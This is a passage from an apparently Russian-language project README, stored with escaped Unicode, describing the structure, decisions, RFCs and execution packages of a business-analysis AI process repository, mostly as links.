\u0437\u0430\u0434\u0430\u043d\u043e\\n[`standards/project-structure-inheritance.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/project-structure-inheritance.md):\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0436\u0438\u0432\u0451\u0442 \u0432 `projects/<\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435>/`, \u0430 \u043e\u0431\u0449\u0438\u0439\\n\u043a\u0430\u0442\u0430\u043b\u043e\u0433 `research/` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0437\u0430 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0439 \u0440\u0430\u043c\u043a\u043e\u0439. \u0420\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e \u0432\\n[PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572),\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0437\u0430\u0434\u0430\u0447\u0435\u0439 `B-155`\\n([#573](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/573)).\\n\\n\u041a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u043e\u0440\u043c\u0443\\n[Reference Research Pattern](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-07-17-rfc-reference-research-pattern.md),\\n\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u0442\u0435\u0441\u0442\u044b \u0438 \u043f\u0430\u043a\u0435\u0442 \u0438\u043c\u0435\u044e\u0442 \u0444\u043e\u0440\u043c\u0443 \u0441\u0432\u043e\u0435\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438. \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432\u043b\u043e\u0436\u0435\u043d\u044b \u0432 `ba-meta-model/`: \u044d\u0442\u043e \u0447\u0430\u0441\u0442\u0438 \u043e\u0434\u043d\u043e\u0439 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435\\n\u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0440\u0445\u043d\u0435\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438.\\n\\n## \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 Source\\n\\n- [`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/00-introduction.md)\\n  \u2014 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410 (issue\\n  [#563](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563),\\n  \u0432\u0435\u0440\u0441\u0438\u044f 0.2 \u2014 [#571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)):\\n  \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 `MM-1`\u2026`MM-4`,\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, \u0440\u0435\u0435\u0441\u0442\u0440 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u0438 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n  `DP-1`\u2026`DP-5`, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435\u043c `LG-1`\u2026`LG-6`, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n  `SKILL.md` (`SK-0`\u2026`SK-10`), \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043d\u044b\u0439 \u043b\u0438\u0441\u0442, Golden Set \u0438 \u043f\u043b\u0430\u043d \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e\\n  MVP-\u0441\u0440\u0435\u0437\u0430 \u0441 \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438 `M-1`\u2026`M-5`. \u0412\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435\\n  [`process-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/00-introduction.md)\\n  \u0438 [`operation-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/00-introduction.md)\\n  \u0437\u0430\u0434\u0430\u044e\u0442 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e 33 \u043d\u0430\u0432\u044b\u043a\u0430-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e;\\n  [`product-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model/product-taxonomy)\\n  \u0445\u0440\u0430\u043d\u0438\u0442 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 capabilities MANGO \u0438 \u0438\u0445 42\\n  \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0439 \u0418\u0422/\u0442\u0435\u043b\u0435\u043a\u043e\u043c \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u0432 Distribution.\\n- [`meta-model-guides/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/meta-model-guides/README.md)\\n  \u2014 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443: \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u0447\u0438\u0441\u0442\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 KB,\\n  Confluence MCP, \u0437\u0430\u043f\u0443\u0441\u043a/\u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 task \u0438 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 debug.\\n- [`tests/execution-package/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/tests/execution-package/README.md)\\n  \u2014 mock-fixtures, assertions \u0438 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u044d\u043c\u0443\u043b\u044f\u0446\u0438\u044f \u0433\u0440\u0430\u0444\u0430 \u0431\u0435\u0437 LLM \u0438 MCP.\\n- [`dist/execution-package-gigacode-cli/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/README.md)\\n  \u2014 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u0441 `.gigacode/skills/`, \u044f\u0432\u043d\u044b\u043c dispatcher, debug-\u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438, \u0433\u0440\u0430\u0444\u043e\u043c, Golden Set \u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c `G-mach`.\\n- [`dist/execution-package-cline-vscode/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-621-bd8c46c08849/projects/ba-ai-process/dist/execution-package-cline-vscode/README.md)\\n  \u2014 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0438\u043b\u043e\u0442 Cline \u0434\u043b\u044f \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e BCREQ Working \u2192 Release \u0441 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u043c\u0438\\n  hooks, \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c runner, CI gate, trace \u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u043e\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0437\u043d\u0430\u043d\u0438\u044f; Source\\n  \u0441\u0431\u043e\u0440\u043a\u0438 \u2014 `build/common/` \u0438 `build/adapters/cline-vscode/`.\\n- [`meta-model-guides/qwen-chat-runtime-migration-instruction.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/meta-model-guides/qwen-chat-runtime-migration-instruction.md)\\n  \u2014 \u043c\u0430\u043d\u0434\u0430\u0442 \u0434\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u043d\u0430 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0443 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e runtime \u043a \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c\u0443\\n  quick-check \u0432 Qwen Chat; \u044d\u0442\u043e \u043d\u0435 execution package.\\n\\n\u041f\u0430\u043a\u0435\u0442 \u2014 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 RRP-\u043c\u043e\u0434\u0443\u043b\u044c. \u0421\u043e\u0441\u0442\u0430\u0432 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e,\\n\u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438 \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0432\\n[\u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/package-manifest.yaml).\\n\u0415\u0433\u043e `docs/kb/.gitkeep` \u0438 `meta-model/.gitkeep` \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u044e\u0442 copy-time \u0432\u0445\u043e\u0434\u044b; \u043f\u0430\u043a\u0435\u0442\\n\u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a Source\\n[`G-Ivan-A/hybrid-Intelligence-lab`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab)\\n\u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\nProject-scoped \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\\n[`decisions/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/decisions),\\nRFC \u2014 \u0432\\n[`docs/rfc/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/docs/rfc),\\n\u043e\u0442\u043b\u0430\u0434\u043a\u0430 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 `experiments/`, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0435 Distribution \u2014\\n\u0432 `dist/`. \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u0438\u043d\u044f\u0442\u0430 \u0432\\n[ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md).\\n\\n\u041f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u043a\u0430\u043a \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u044b BCREQ \u0434\u043b\u044f API, \u041b\u041a \u0438 \u041a\u043e\u043d\u0442\u0430\u043a\u0442\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u043e\u0441\u0442\u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0432\\n[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 issue #601](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md).\\n\u041f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u0438 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0433\u0435\u0439\u0442\u043e\u0432 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0432\\n[RFC](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md);\\n\u043f\u0440\u0438\u043d\u044f\u0442\u0430\u044f issue #603 \u0447\u0430\u0441\u0442\u044c \u043e \u0440\u0430\u043d\u043d\u0435\u0439 MANGO-\u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 Distribution.\\n\u041a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0438 \u0434\u0432\u043e\u0439\u043d\u0430\u044f \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043f\u043e\u043a\u0430 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f\\n\u0434\u0435\u043b\u044c\u0442\u043e\u0439 Source.\\n\\n\u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u0432\u0441\u0435\u0445 67 legacy-\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u043a issue #605 \u0434\u0438\u0430\u043b\u043e\u0433\u043e\u0432,\\n\u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u0438 \u0441\u0442\u0440\u043e\u0433\u0438\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b FR/UC/NFR \u0438 TM Forum binding \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f\\n\u0432\\n[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\n\\n\u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043e\u0442 \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e baseline \u043a \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 Release-\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438,\\n\u0432\u043a\u043b\u044e\u0447\u0430\u044f NFR\u2192FR, \u043e\u0431\u0440\u0430\u0442\u043d\u0443\u044e \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u043f\u0440\u0438\u043d\u044f\u0442 \u0432\\n[RFC Working Document \u2192 Release Document](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-working-release-pipeline.md).\\n\u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 [issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609),\\n\u0441\u043a\u0432\u043e\u0437\u043d\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 Source \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432\\n[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0441\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\\n\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0435\u0434\u0438\u043d\u043e\u0433\u043e Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435 GigaCode CLI \u0438 Cline](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md)\\n\u043f\u043e issue #630 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 20 \u0442\u043e\u0447\u0435\u043a \u0442\u0440\u0435\u043d\u0438\u044f \u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e\\n\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0446\u0438\u043a\u043b\u0430; \u043f\u0430\u0440\u043d\u044b\u0435 \u0431\u043e\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c gate.\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e GigaCode CLI\\n\\n\u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0440\u0435\u0434\u044b \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0432\\n[`docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md).\\nIssue [#593](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/593)\\n\u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0432 Source\\n[`G-Ivan-A/hybrid-Intelligence-lab`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab)\\n\u0438 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0439\\n`mango-ba-ai-runtime-cli`.\\n\\n## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n\\n\u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u044b **\u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044f\u0442\u0441\u044f**: \u043e\u043d\u0438\\n\u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 [`research/ba-requirements/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/README.md)\\n\u043a\u0430\u043a \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043d\u0430 \u0434\u0430\u0442\u0443 \u0437\u0430\u043c\u0435\u0440\u0430. \u041c\u043e\u0434\u0443\u043b\u0438 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043d\u0438\u0445,\\n\u0430 \u043d\u0435 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442:\\n\\n- [`2026-09-08-meta-model-inputs-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md);\\n- [`2026-09-09-legacy-normative-influence-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md);\\n- [`2026-09-10-process-taxonomy-defects-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md);\\n- [`2026-09-10-gigacode-environment-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-gigacode-environment-facts.md);\\n- [`2026-09-10-skill-granularity-format-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-skill-granularity-format-facts.md).\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md)\\n  \u2014 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u0430\u043a \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438;\\n- [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n  \u2014 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c, \u0430 \u043d\u0435 \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b;\\n- [ADR-015](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md)\\n  \u2014 \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043e\u0442 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0431\u0430\u0437\u0438\u0441\u0430;\\n- [ADR-016](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md)\\n  \u2014 \u043d\u0430\u0432\u044b\u043a \u043a\u0430\u043a \u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438, \u0444\u043e\u0440\u043c\u0430\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u043a\u0430\u043a \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u043c\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e;\\n- [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md)\\n  \u2014 \u043f\u0440\u0438\u043d\u044f\u0442\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 Source, Distribution, Runtime \u0438 Feedback.\\n- [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f GigaCode CLI.\\n- [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 Cline \u0434\u043b\u044f \u043f\u0438\u043b\u043e\u0442\u0430 \u0441 Mango AI.\\n\\n## \u041f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a\\n\\n\u0421\u0441\u044b\u043b\u043a\u0438 